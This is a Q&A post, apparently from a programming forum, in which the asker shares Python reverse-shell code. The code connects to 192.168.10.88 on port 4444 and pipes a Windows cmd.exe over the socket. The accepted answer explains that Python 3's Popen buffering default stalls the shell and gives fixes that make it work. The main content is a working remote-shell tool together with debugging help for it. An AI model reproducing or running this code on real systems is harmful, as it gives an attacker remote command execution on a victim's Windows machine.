pythonpython-2.7shellpython-3.4reverse-shell

Shell commands get stuck on python 3 but work on python 2


The following is my reverse_shell python code

import os,socket,subprocess,threading
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)


def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.88",4444))

p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE)




s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()


try:
    p.wait()
except KeyboardInterrupt:
    s.close()

I'm using netcat as a listener.The problem is when I run the above code using python 3.4 shell commands get stuck and I didn't get output but If I use python 2 it works fine.


Solution

  • The default argument for bufsize to Popen changed between Python 2 and Python 3. In Python 2 it is 0 meaning unbuffered. In Python 3 it is -1 which means use a buffer of size io.DEFAULT_BUFFER_SIZE. In Python 3 the program seizes up because the program has written the data to p.stdin, but has not yet flushed it -- as the buffer has not filled up. On Windows, io.DEFAULT_BUFFER_SIZE is 8,192 and so you would need to write 8kB of data to the socket (from netcat) before you would see any output.

    You can switch back to an unbuffered stream or you can manually flush the data after each write. Or you can set the universal_newlines argument and use line buffering (bufsize=1).